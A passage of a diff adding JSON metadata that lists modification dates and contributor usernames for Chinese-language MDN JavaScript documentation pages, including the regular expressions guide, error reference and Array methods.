"Guanjinke", + "teoli", + "sablib", + "thesadboy", + "devqin", + "jpuncle", + "xiaoxiong", + "ziyunfei" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions/Assertions": { + "modified": "2020-11-07T12:07:11.701Z", + "contributors": [ + "hensonxu", + "srq18211", + "oxyg3n", + "zytjs", + "fish-inu", + "Dev_ljp", + "Xu-Angel", + "liuhao088" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions/Character_Classes": { + "modified": "2020-06-28T13:35:45.679Z", + "contributors": [ + "srq18211" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges": { + "modified": "2020-08-21T07:28:58.610Z", + "contributors": [ + "srq18211" + ] + }, + "Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes": { + "modified": "2020-07-11T06:10:35.787Z", + "contributors": [ + "zkmbdbbdd" + ] + }, + "Web/JavaScript/Guide/Text_formatting": { + "modified": "2020-07-13T05:48:34.741Z", + "contributors": [ + "laampui", + "zhangchen", + "niccoming", + "evolighting", + "i-PeterZhang", + "456wyc", + "redman9", + "guangxiyu" + ] + }, + "Web/JavaScript/Guide/Using_promises": { + "modified": "2020-09-28T05:37:42.938Z", + "contributors": [ + "Radix10", + "xuquentinyang", + "HashiKudo", + "brizer", + "iEmcc", + "johnao", + "abellong", + "SAM.L", + "RainSlide", + "VickyJin", + "jessica1990", + "TeabugCC", + "zhuangyin", + "ujsxn", + "huixisheng", + "yulongjing", + "rxliuli", + "yonoel", + "DevOps", + "brandonhyc", + "eeeecw", + "zotille", + "xuziang111", + "NN708", + "xuxun", + "zhangchen", + "Evoque", + "Pythonofsdc", + "vanishcode", + "winjeysong", + "cwc7233", + "TimmyKingFree" + ] + }, + "Web/JavaScript/Guide/Working_with_Objects": { + "modified": "2020-03-21T00:54:40.101Z", + "contributors": [ + "johnao", + "fish-inu", + "ngtmuzi", + "Pomelo1213", + "ywjco", + "kramon", + "kgojiwong", + "xgqfrms-GitHub", + "heliangb46", + "Grizzly-Eric", + "zhanglianxin", + "coderfee", + "kiyonlin", + "IrisZhang", + "xwartz", + "Darkoe", + "XueSeason", + "jigs12", + "ReyCG_sub", + "smartkid", + "teoli", + "koala", + "ziyunfei" + ] + }, + "Web/JavaScript/Inheritance_and_the_prototype_chain": { + "modified": "2020-10-20T00:17:44.610Z", + "contributors": [ + "jack_chen", + "Nirvana-zsy", + "PiersZhang", + "YTInMyHeart", + "熊英明", + "AaronZzz", + "hydra-zim", + "demongodYY", + "c932828964", + "maozhenyu123", + "NicholasKong", + "Huangyilin19", + "MonkingStand", + "RainSlide", + "xulinggege", + "Rayyh", + "glud123", + "HuangXiZhou", + "Ieeebruce", + "Snailight", + "yonoel", + "lllbahol", + "ssttii", + "xgqfrms", + "DPJune1", + "MQpeng", + "yangzi", + "zhuangyin", + "anglli", + "Akiq2016", + "jeasonstudio", + "Sevenskey", + "LiXin", + "qiu_han", + "zhangchen", + "keifergu", + "jiangzhenggeng", + "DendiSe7enGitHub", + "zenith7ryu", + "feiyuabc", + "KngZhi", + "xgqfrms-GitHub", + "efeencheung", + "TwinkleLeon", + "jyjz2008", + "Mrzouning", + "craney", + "Ende93", + "nanflower", + "Ares_Xu", + "RenzHoly", + "xiaokk06", + "Musan", + "Downpooooour", + "maicss", + "iplus26", + "gavinjs", + "ziyunfei", + "hbkdsm", + "hipop", + "860136", + "Tranch", + "ReyCG", + "teoli", + "hutuxu" + ] + }, + "Web/JavaScript/JavaScript_technologies_overview": { + "modified": "2020-03-12T19:38:44.101Z", + "contributors": [ + "RainSlide", + "zhanglianxin", + "lunix01", + "Musan", + "ReyCG_sub", + "teoli", + "YuQiang.Yuan" + ] + }, + "Web/JavaScript/Language_Resources": { + "modified": "2020-03-12T19:37:56.380Z", + "contributors": [ + "lunix01", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Memory_Management": { + "modified": "2020-03-12T19:38:33.297Z", + "contributors": [ + "y00rb", + "xueliang", + "leavesster", + "quding0308", + "liujuntao123", + "JuneDeng2014", + "ilexwg", + "DarrenMan", + "zhangchen", + "micooz", + "sunnylost", + "Ende93", + "wth", + "timwangdev", + "jackyKin", + "horizon0514", + "knightf", + "Bosn", + "teoli", + "Samoay", + "tank", + "jnoodle", + "Joe_Zhao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference": { + "modified": "2020-09-20T23:15:37.162Z", + "contributors": [ + "laampui", + "seanhuai", + "wwj402", + "RainSlide", + "ssttii", + "causal", + "zhangchen", + "Ende93", + "lunix01", + "ziyunfei", + "teoli", + "CHiENiUS", + "kovchou" + ] + }, + "Web/JavaScript/Reference/About": { + "modified": "2020-03-12T19:40:27.168Z", + "contributors": [ + "Jack-Q", + "lunix01", + "qlxiao520", + "ziyunfei", + "yenshen" + ] + }, + "Web/JavaScript/Reference/Classes": { + "modified": "2020-11-21T07:35:29.331Z", + "contributors": [ + "xiaoxiao1024", + "xgqfrms", + "niices", + "showad", + "xuyimingwork", + "zytjs", + "brizer", + "johnao", + "PeanutQAQ", + "HermitSun", + "narutojian", + "JackDing1208", + "willerhehehe", + "zhangchen", + "llyo", + "LiXin", + "xgqfrms-GitHub", + "LouisaNikita", + "winjeysong", + "PhilTheAir", + "XiongAmao", + "kylezhang", + "tarma", + "Jeane", + "Ende93", + "miuchan", + "slientomorrr", + "ziyunfei", + "eric183", + "sartrey", + "snandy", + "bumaociyuan" + ] + }, + "Web/JavaScript/Reference/Classes/Private_class_fields": { + "modified": "2020-10-15T22:30:12.129Z", + "contributors": [ + "zhuangyin", + "symant233", + "wizard-intraining" + ] + }, + "Web/JavaScript/Reference/Classes/constructor": { + "modified": "2020-10-15T21:36:30.986Z", + "contributors": [ + "zhangchen", + "CJackYang", + "jiangseventeen", + "xgqfrms-GitHub", + "Ende93", + "destinyCherry", + "MarxJiao", + "chaooo", + "Lellansin" + ] + }, + "Web/JavaScript/Reference/Classes/extends": { + "modified": "2020-10-15T21:37:25.638Z", + "contributors": [ + "zhangchen", + "thinkershare", + "liuwj", + "xgqfrms-GitHub", + "MoYahoo", + "Ende93", + "xiaoweb", + "ziyunfei", + "TinyJiang", + "pixiu" + ] + }, + "Web/JavaScript/Reference/Classes/static": { + "modified": "2020-10-15T21:37:45.068Z", + "contributors": [ + "daijie", + "luna666", + "zhuangyin", + "xgqfrms-GitHub", + "zhangchen", + "hijiangtao", + "MrCuriosity", + "kameii", + "solome", + "ngtmuzi", + "willwong", + "knightf", + "lunix01" + ] + }, + "Web/JavaScript/Reference/Deprecated_and_obsolete_features": { + "modified": "2020-03-30T11:15:40.777Z", + "contributors": [ + "RainSlide", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol": { + "modified": "2020-03-12T19:44:37.222Z", + "contributors": [ + "wwj402", + "jwhitlock", + "lsvih" + ] + }, + "Web/JavaScript/Reference/Errors": { + "modified": "2020-03-12T19:43:37.546Z", + "contributors": [ + "Ende93", + "Jack-Q", + "sabertazimi" + ] + }, + "Web/JavaScript/Reference/Errors/Already_has_pragma": { + "modified": "2020-03-12T19:45:25.142Z", + "contributors": [ + "wizardforcel" + ] + }, + "Web/JavaScript/Reference/Errors/Array_sort_argument": { + "modified": "2020-03-12T19:45:22.429Z", + "contributors": [ + "hui1993", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Bad_octal": { + "modified": "2020-03-12T19:45:19.888Z", + "contributors": [ + "WayneCui", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Bad_radix": { + "modified": "2020-03-12T19:44:42.812Z", + "contributors": [ + "xiaokk06" + ] + }, + "Web/JavaScript/Reference/Errors/Bad_regexp_flag": { + "modified": "2020-03-12T19:46:18.624Z", + "contributors": [ + "lazyboywu" + ] + }, + "Web/JavaScript/Reference/Errors/Bad_return_or_yield": { + "modified": "2020-03-12T19:44:37.026Z", + "contributors": [ + "wangmengjun", + "Cattla" + ] + }, + "Web/JavaScript/Reference/Errors/Called_on_incompatible_type": { + "modified": "2020-03-12T19:46:49.645Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init": { + "modified": "2020-03-12T19:46:25.675Z", + "contributors": [ + "kilodleif", + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Cant_access_property": { + "modified": "2020-03-12T19:48:25.216Z", + "contributors": [ + "zangguodong" + ] + }, + "Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible": { + "modified": "2020-03-12T19:46:26.772Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Cant_delete": { + "modified": "2020-03-12T19:45:31.865Z", + "contributors": [ + "lihx_hit", + "wizardforcel" + ] + }, + "Web/JavaScript/Reference/Errors/Cant_redefine_property": { + "modified": "2020-03-12T19:46:26.214Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Cyclic_object_value": { + "modified": "2020-07-13T11:27:10.484Z", + "contributors": [ + "Mrdapeng", + "540692039", + "nansanhao", + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Dead_object": { + "modified": "2020-03-12T19:46:28.473Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Delete_in_strict_mode": { + "modified": "2020-03-12T19:46:25.179Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Deprecated_String_generics": { + "modified": "2020-03-12T19:46:39.182Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage": { + "modified": "2020-03-12T19:45:21.241Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Deprecated_expression_closures": { + "modified": "2020-03-12T19:46:34.964Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Deprecated_octal": { + "modified": "2020-03-12T19:46:39.086Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma": { + "modified": "2020-03-12T19:45:31.617Z", + "contributors": [ + "Kaede_Shinoda", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat": { + "modified": "2020-03-12T19:46:45.691Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Equal_as_assign": { + "modified": "2020-03-12T19:44:21.268Z", + "contributors": [ + "niaodan2b" + ] + }, + "Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated": { + "modified": "2020-03-12T19:45:01.286Z", + "contributors": [ + "_da" + ] + }, + "Web/JavaScript/Reference/Errors/Getter_only": { + "modified": "2020-03-12T19:46:35.397Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Identifier_after_number": { + "modified": "2020-03-12T19:46:01.632Z", + "contributors": [ + "AlanStewart6", + "fanxiaobin1992" + ] + }, + "Web/JavaScript/Reference/Errors/Illegal_character": { + "modified": "2020-03-12T19:46:25.974Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_array_length": { + "modified": "2020-03-12T19:44:25.874Z", + "contributors": [ + "xiaokk06", + "Hitomichan" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side": { + "modified": "2020-03-12T19:44:25.285Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_const_assignment": { + "modified": "2020-03-12T19:46:37.514Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_date": { + "modified": "2020-03-12T19:46:02.926Z", + "contributors": [ + "xiaokk06", + "kilodleif", + "dudusky" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_for-in_initializer": { + "modified": "2020-03-12T19:46:25.733Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Invalid_for-of_initializer": { + "modified": "2020-03-12T19:46:25.653Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/JSON_bad_parse": { + "modified": "2020-03-12T19:44:41.664Z", + "contributors": [ + "Ende93", + "imhaohao" + ] + }, + "Web/JavaScript/Reference/Errors/Malformed_URI": { + "modified": "2020-03-12T19:46:27.676Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Malformed_formal_parameter": { + "modified": "2020-03-12T19:45:20.875Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_bracket_after_list": { + "modified": "2020-03-12T19:45:17.108Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_colon_after_property_id": { + "modified": "2020-03-12T19:46:24.903Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_curly_after_function_body": { + "modified": "2020-03-12T19:46:26.744Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_curly_after_property_list": { + "modified": "2020-03-12T19:45:22.931Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_formal_parameter": { + "modified": "2020-03-12T19:46:22.522Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_initializer_in_const": { + "modified": "2020-03-12T19:46:26.113Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator": { + "modified": "2020-03-12T19:46:26.813Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list": { + "modified": "2020-03-12T19:44:53.187Z", + "contributors": [ + "Idealist_EZ", + "VanLeon" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition": { + "modified": "2020-03-12T19:46:25.852Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": { + "modified": "2020-03-12T19:44:58.615Z", + "contributors": [ + "Davont", + "jitingsun" + ] + }, + "Web/JavaScript/Reference/Errors/More_arguments_needed": { + "modified": "2020-03-12T19:45:18.099Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Negative_repetition_count": { + "modified": "2020-03-12T19:45:19.235Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/No_non-null_object": { + "modified": "2020-03-12T19:46:21.638Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/No_properties": { + "modified": "2020-03-12T19:45:01.030Z", + "contributors": [ + "lisniuse", + "jitingsun" + ] + }, + "Web/JavaScript/Reference/Errors/No_variable_name": { + "modified": "2020-03-12T19:46:26.272Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Non_configurable_array_element": { + "modified": "2020-03-12T19:46:26.810Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Not_a_codepoint": { + "modified": "2020-03-12T19:44:36.705Z", + "contributors": [ + "YYYxt", + "Cattla" + ] + }, + "Web/JavaScript/Reference/Errors/Not_a_constructor": { + "modified": "2020-03-12T19:45:22.496Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Not_a_function": { + "modified": "2020-06-13T05:01:42.941Z", + "contributors": [ + "kagurakana", + "Ende93", + "lisniuse" + ] + }, + "Web/JavaScript/Reference/Errors/Not_defined": { + "modified": "2020-06-19T20:36:57.807Z", + "contributors": [ + "oyyunttt", + "Veneno", + "yenshen", + "Zappa451", + "Hitomichan" + ] + }, + "Web/JavaScript/Reference/Errors/Precision_range": { + "modified": "2020-03-12T19:44:41.579Z", + "contributors": [ + "xiaokk06", + "Desmond", + "ihuguowei" + ] + }, + "Web/JavaScript/Reference/Errors/Property_access_denied": { + "modified": "2020-03-12T19:44:01.141Z", + "contributors": [ + "neal1991", + "Jack-Q" + ] + }, + "Web/JavaScript/Reference/Errors/Read-only": { + "modified": "2020-03-12T19:45:06.128Z", + "contributors": [ + "_da" + ] + }, + "Web/JavaScript/Reference/Errors/Redeclared_parameter": { + "modified": "2020-03-12T19:45:19.623Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value": { + "modified": "2020-03-12T19:47:48.693Z", + "contributors": [ + "RainSlide", + "DarrenZhang01" + ] + }, + "Web/JavaScript/Reference/Errors/Reserved_identifier": { + "modified": "2020-03-12T19:46:21.461Z", + "contributors": [ + "123456zzz", + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Resulting_string_too_large": { + "modified": "2020-03-12T19:45:20.911Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Stmt_after_return": { + "modified": "2020-03-12T19:44:03.324Z", + "contributors": [ + "Jack-Q" + ] + }, + "Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params": { + "modified": "2020-03-12T19:45:16.824Z", + "contributors": [ + "xgqfrms-GitHub", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Too_much_recursion": { + "modified": "2020-03-12T19:43:57.558Z", + "contributors": [ + "Jack-Q" + ] + }, + "Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments": { + "modified": "2020-03-12T19:46:27.376Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Undeclared_var": { + "modified": "2020-03-12T19:45:21.644Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Undefined_prop": { + "modified": "2020-03-12T19:45:16.927Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Unexpected_token": { + "modified": "2020-03-12T19:45:18.592Z", + "contributors": [ + "Ende93" + ] + }, + "Web/JavaScript/Reference/Errors/Unexpected_type": { + "modified": "2020-03-12T19:44:27.931Z", + "contributors": [ + "yenshen", + "niaodan2b" + ] + }, + "Web/JavaScript/Reference/Errors/Unnamed_function_statement": { + "modified": "2020-03-12T19:46:23.117Z", + "contributors": [ + "Lxio", + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/Unterminated_string_literal": { + "modified": "2020-03-12T19:45:03.493Z", + "contributors": [ + "Ende93", + "luckyG0429" + ] + }, + "Web/JavaScript/Reference/Errors/Var_hides_argument": { + "modified": "2020-03-12T19:45:33.390Z", + "contributors": [ + "wizardforcel" + ] + }, + "Web/JavaScript/Reference/Errors/in_operator_no_object": { + "modified": "2020-03-12T19:46:27.485Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Errors/invalid_right_hand_side_instanceof_operand": { + "modified": "2020-03-12T19:47:39.673Z", + "contributors": [ + "JodieShi" + ] + }, + "Web/JavaScript/Reference/Errors/is_not_iterable": { + "modified": "2020-03-12T19:48:06.104Z", + "contributors": [ + "JsirForGit", + "rockSandy" + ] + }, + "Web/JavaScript/Reference/Functions": { + "modified": "2020-10-15T21:02:46.649Z", + "contributors": [ + "meng-Macbook", + "zhangchen", + "LiXin", + "righttoe", + "KngZhi", + "xgqfrms-GitHub", + "appie963", + "Jianming", + "Ende93", + "ChristopherMa2012", + "ziyunfei", + "teoli", + "lijunchengbeyond", + "byronhe", + "iwo" + ] + }, + "Web/JavaScript/Reference/Functions/Arrow_functions": { + "modified": "2020-10-15T21:22:15.274Z", + "contributors": [ + "symant233", + "zhonghuajiadezhuizhongyu", + "woshiqiang1", + "YangYihui", + "kingsley2036", + "Monkey-D-Pixel", + "Himself65", + "Frederick-S", + "jianchao_xue", + "ZeroWhiteSmile", + "wangbangkun", + "ColinJinag", + "zjjgsc", + "Harleywww", + "huangll", + "LeoQuote", + "jjc", + "ywjco", + "Warden", + "xgqfrms-GitHub", + "zhangchen", + "anjia", + "StevenYuysy", + "ZZES_REN", + "tjyas", + "Gary-c", + "linzhihuan", + "guonanci", + "shifengchen", + "unliar", + "MichelleGuan", + "slimeball", + "LangDonHJJ", + "zhangzju", + "Aisi", + "muzhen", + "Meteormatt", + "Ende93", + "Ovilia", + "solome", + "zilong-thu", + "jy1989", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Functions/Default_parameters": { + "modified": "2020-10-15T21:19:13.746Z", + "contributors": [ + "zhuangyin", + "zhangchen", + "xgqfrms-GitHub", + "Carlmac", + "xiaorang", + "Inokinoki", + "thomasyimgit", + "harryhao", + "lunix01", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Functions/Method_definitions": { + "modified": "2020-10-15T21:34:33.682Z", + "contributors": [ + "narutojian", + "by73", + "Harpes", + "fscholz", + "SphinxKnight", + "zhangchen", + "teoli", + "fskuok" + ] + }, + "Web/JavaScript/Reference/Functions/Rest_parameters": { + "modified": "2020-10-15T21:18:39.925Z", + "contributors": [ + "Yayure", + "gqbre", + "codevvvv9", + "fscholz", + "Jhongwun", + "Warden", + "zhangchen", + "Ts799498164", + "Hanx", + "xgqfrms-GitHub", + "Ende93", + "helloguangxue", + "sabrinaluo", + "teoli", + "fskuok", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Functions/arguments": { + "modified": "2020-10-15T21:02:42.108Z", + "contributors": [ + "xgqfrms", + "s1min", + "zx06", + "gqbre", + "jianchao_xue", + "ywjco", + "yeziningmeng", + "DragonHou", + "szengtal", + "zhangchen", + "renyuns", + "xgqfrms-GitHub", + "yyyyu", + "yatace", + "jihonghai", + "Ende93", + "yswang0927", + "teoli", + "asdzxcqwe", + "Fadeoc", + "brandonzhu", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Functions/arguments/@@iterator": { + "modified": "2020-10-15T21:48:23.032Z", + "contributors": [ + "fscholz", + "wizardforcel", + "wohugb" + ] + }, + "Web/JavaScript/Reference/Functions/arguments/callee": { + "modified": "2020-10-15T21:29:14.342Z", + "contributors": [ + "18boys", + "ssttii", + "fscholz", + "NoroHime", + "yangyichen", + "jyjsjd", + "xgqfrms-GitHub", + "Ende93", + "jonkee", + "teoli", + "gemstone" + ] + }, + "Web/JavaScript/Reference/Functions/arguments/length": { + "modified": "2020-10-15T21:21:10.516Z", + "contributors": [ + "fscholz", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Functions/get": { + "modified": "2020-10-15T21:32:24.408Z", + "contributors": [ + "wallena3", + "fscholz", + "LiXin", + "lijinglin", + "zhangchen", + "xgqfrms-GitHub", + "teoli", + "yenshen" + ] + }, + "Web/JavaScript/Reference/Functions/set": { + "modified": "2020-10-15T21:31:33.512Z", + "contributors": [ + "wallena3", + "fscholz", + "Austaras", + "zhangchen", + "xgqfrms-GitHub", + "Go7hic", + "teoli", + "nyx2014", + "LinusYu" + ] + }, + "Web/JavaScript/Reference/Global_Objects": { + "modified": "2020-10-15T01:05:17.510Z", + "contributors": [ + "Neo42", + "Ende93", + "laampui", + "wallena3", + "RainSlide", + "Frederick-S", + "SageX", + "liushengxin", + "Terry.Qiao", + "xgqfrms-GitHub", + "ZQH", + "zhangchen", + "mwc", + "Jiang-Xuan", + "SamuraiMe", + "highkay", + "lunix01", + "JoshuaGhost", + "ziyunfei", + "SphinxKnight", + "yiding_he", + "Fantasy_shao", + "AlexChao", + "teoli", + "OoOoOoOo" + ] + }, + "Web/JavaScript/Reference/Global_Objects/AggregateError": { + "modified": "2020-10-15T22:27:42.765Z", + "contributors": [ + "叶扬", + "MaDeLu" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array": { + "modified": "2020-10-15T21:11:20.773Z", + "contributors": [ + "SphinxKnight", + "fantasy090633", + "Frederick-S", + "Willian.G", + "gqbre", + "luluyiluchangtong", + "liuchao0704", + "zxsunrise", + "fisker", + "runyul", + "Terry.Qiao", + "ywjco", + "b2ns", + "kevinfszu", + "shaojingchao", + "zhuangyin", + "xinleibird", + "xgqfrms-GitHub", + "Chocomoon", + "habc0807", + "kdex", + "amnsss", + "pigflymoon", + "xiaojunjor", + "zhiquan_yu", + "lanezhao", + "ttjkst", + "aximario", + "Ende93", + "ObooChin", + "frontzhm", + "kinuxroot", + "VIPArcher", + "ziyunfei", + "TinyJiang", + "FredWe", + "Cattla", + "Gaohaoyang", + "paddingme", + "Yaty", + "tingxinCY", + "Harvesty", + "Guanjinke", + "dancancer", + "teoli", + "WenbingZheng", + "Mickeyboy", + "Oatn", + "Kebing", + "Lanyu", + "Acefeel" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/@@iterator": { + "modified": "2020-10-15T21:48:08.478Z", + "contributors": [ + "GlowMonster", + "RainSlide", + "ifredom", + "Ende93", + "OshotOkill" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/@@species": { + "modified": "2020-10-15T21:47:50.737Z", + "contributors": [ + "RainSlide", + "Fire1nRain", + "fscholz", + "hongxu.Wei", + "looch5" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/@@unscopables": { + "modified": "2020-10-15T21:48:00.162Z", + "contributors": [ + "RainSlide", + "Ende93", + "OshotOkill" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/Reduce": { + "modified": "2020-10-15T21:26:38.795Z", + "contributors": [ + "zhuangyin", + "zangbianxuegu", + "cracdic", + "tanpopo", + "SageX", + "good1uck", + "zheng1013757145", + "MrGaoGang", + "daolanfler", + "superadmin", + "jaredhan418", + "polunzh", + "haylorhu", + "yinsang", + "BingerWeb", + "linqunxun", + "weiqinl", + "danchaotaiyang", + "fscholz", + "fisker", + "ysyfff", + "wjuan960407", + "zhangchen", + "dblate", + "Go7hic", + "maximus1992", + "conniejing", + "keyood", + "righttoe", + "xgqfrms-GitHub", + "leeseean", + "micheal-death", + "coolguy", + "iugo", + "seaHeater", + "yanxiaowu", + "collhector", + "Cattla", + "vcfvct", + "teoli", + "AlexChao", + "ziyunfei", + "fishenal" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/ReduceRight": { + "modified": "2020-10-23T11:37:43.387Z", + "contributors": [ + "zhuangyin", + "RainSlide", + "SageX", + "C-boyi", + "fscholz", + "xgqfrms-GitHub", + "micheal-death", + "Menq", + "teoli", + "AlexChao", + "wilsoncook" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/concat": { + "modified": "2020-10-15T21:07:00.501Z", + "contributors": [ + "likev", + "SageX", + "qiannianchong25", + "zhangchen", + "fscholz", + "lijinwenhg", + "web-gm", + "fisker", + "badfl", + "xgqfrms-GitHub", + "Ende93", + "Aralic", + "borishuai", + "ziyunfei", + "teoli", + "Chajn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/copyWithin": { + "modified": "2020-10-15T21:17:18.640Z", + "contributors": [ + "yayaxueyu", + "ZL1019", + "RainSlide", + "fscholz", + "futurefeeling", + "hongxu.Wei", + "fisker", + "Non-professionalIFE", + "xgqfrms-GitHub", + "micheal-death", + "gaoupon", + "Andself", + "Ende93", + "chendatony31", + "crowphy", + "teoli", + "ziyunfei", + "Oatn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/entries": { + "modified": "2020-10-15T21:07:50.512Z", + "contributors": [ + "Harry-Zhao", + "fscholz", + "futurefeeling", + "ywjco", + "xgqfrms-GitHub", + "AlexChao", + "teoli", + "ziyunfei", + "yanhaijing1234" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/every": { + "modified": "2020-10-15T21:17:20.643Z", + "contributors": [ + "qianmo", + "c1er", + "RainSlide", + "genezx", + "DYERPH", + "fscholz", + "futurefeeling", + "banli17", + "zhang-hongwei", + "janason.yang", + "ziyunfei", + "LYF-MIHO", + "AlexChao", + "teoli", + "Oatn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/fill": { + "modified": "2020-10-15T21:26:52.543Z", + "contributors": [ + "fanerge", + "zhangchen", + "fisker", + "linzx1993", + "tiansh", + "xhlsrj", + "micheal-death", + "sqchenxiyuan", + "xgqfrms-GitHub", + "Ende93", + "ziyunfei", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/filter": { + "modified": "2020-10-15T21:17:27.613Z", + "contributors": [ + "alexzedheng", + "Martin-Shao", + "RainSlide", + "zhangchen", + "badfl", + "zhuangyin", + "futurefeeling", + "ywjco", + "RGSS3", + "yuyongjun123", + "zhanglongdream", + "xgqfrms-GitHub", + "mooyxu", + "Gauch", + "Si-Monster", + "sartrey", + "AlexChao", + "ziyunfei", + "teoli", + "Oatn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/find": { + "modified": "2020-10-15T21:17:19.858Z", + "contributors": [ + "canyi1942", + "Harry-Zhao", + "zhangchen", + "Spaghet-Ti", + "futurefeeling", + "Vevlins", + "banli17", + "jiankian", + "hughfenghen", + "graysongs", + "Ende93", + "zhuangyin", + "xiaojunjor", + "xgqfrms-GitHub", + "iNahoo", + "Kennytian", + "OmniP", + "ngtmuzi", + "kkzhang", + "teoli", + "huyue", + "ziyunfei", + "Oatn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/findIndex": { + "modified": "2020-10-15T21:25:37.656Z", + "contributors": [ + "frankfang1990", + "simonzhao", + "fscholz", + "jiankian", + "big-dinner", + "18820486093", + "zhangchen", + "xiaojunjor", + "xgqfrms-GitHub", + "DearZui", + "ngtmuzi", + "SakuraNeko", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/flat": { + "modified": "2020-11-23T21:40:15.634Z", + "contributors": [ + "RolkerMan", + "zhuangyin", + "yadongxie150", + "0uzu0", + "youcanping", + "andycao", + "SageX", + "lovefengruoqing", + "RainSlide", + "hillterry", + "Kemper-Diao", + "dr2009", + "fscholz", + "fisker", + 